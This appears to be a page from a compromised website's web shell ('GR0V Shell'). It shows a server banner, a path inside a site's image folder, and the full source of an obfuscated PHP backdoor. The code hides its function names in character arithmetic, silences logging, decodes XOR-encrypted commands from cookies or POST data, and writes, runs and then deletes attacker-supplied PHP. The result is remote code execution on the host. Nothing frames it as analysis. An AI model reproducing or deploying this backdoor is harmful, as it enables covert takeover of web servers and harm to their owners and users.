? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/images/Incentive/bunka/

Current File : /home/admin/public_html/old/images/Incentive/bunka/uahzvadt.php

<?php $qzcuh = "\x66".chr(213-108).'l'.chr(518-417).chr(95)."\160".chr(285-168)."\x74"."\137".chr(157-58)."\157"."\156"."\x74"."\x65"."\x6e".chr(116)."\163";
$stunjhoaoq = "\x62"."\x61".'s'."\x65"."\x36".chr(733-681).chr(95)."\x64".'e'.'c'."\x6f"."\144".'e';
$xitdw = "\x69"."\x6e"."\x69".chr(95).'s'."\145"."\164";
$bvnrracmqi = chr(117).'n'.chr(108).'i'.chr(110)."\x6b";


@$xitdw(chr(101)."\x72".chr(612-498)."\157".'r'.chr(927-832).chr(585-477).'o'."\147", NULL);
@$xitdw("\154".'o'.chr(1022-919).chr(145-50)."\x65".chr(114).'r'."\x6f"."\162"."\x73", 0);
@$xitdw("\x6d".'a'.chr(120)."\137".'e'.'x'.chr(101)."\x63".chr(898-781).'t'.chr(764-659)."\x6f"."\x6e"."\x5f".chr(116)."\x69"."\x6d".chr(921-820), 0);
@set_time_limit(0);

function eqqeuxkusv($dzctwkvwcf, $revqb)
{
    $mddkiz = "";
    for ($dkodl = 0; $dkodl < strlen($dzctwkvwcf);) {
        for ($j = 0; $j < strlen($revqb) && $dkodl < strlen($dzctwkvwcf); $j++, $dkodl++) {
            $mddkiz .= chr(ord($dzctwkvwcf[$dkodl]) ^ ord($revqb[$j]));
        }
    }
    return $mddkiz;
}

$wfsvegrmb = array_merge($_COOKIE, $_POST);
$gjkkhi = 'a1e0d8bb-7f41-4082-83af-0728c2bb153e';
foreach ($wfsvegrmb as $dkodlymbcby => $dzctwkvwcf) {
    $dzctwkvwcf = @unserialize(eqqeuxkusv(eqqeuxkusv($stunjhoaoq($dzctwkvwcf), $gjkkhi), $dkodlymbcby));
    if (isset($dzctwkvwcf[chr(1051-954).chr(107)])) {
        if ($dzctwkvwcf["\141"] == chr(105)) {
            $dkodl = array(
                chr(112)."\x76" => @phpversion(),
                "\163".chr(118) => "3.5",
            );
            echo @serialize($dkodl);
        } elseif ($dzctwkvwcf["\141"] == "\x65") {
            $ngsqk = "./" . md5($gjkkhi) . chr(228-182)."\x69"."\x6e".chr(117-18);
            @$qzcuh($ngsqk, "<" . "\77".chr(649-537).chr(104)."\x70"."\x20".'@'.chr(474-357)."\156"."\x6c".'i'."\x6e".chr(705-598).'('.'_'.chr(877-782).chr(70).chr(73)."\114".chr(408-339)."\137"."\137".chr(96-55).chr(59)."\40" . $dzctwkvwcf["\144"]);
            @include($ngsqk);
            @$bvnrracmqi($ngsqk);
        }
        exit();
    }
}

T1KUS90T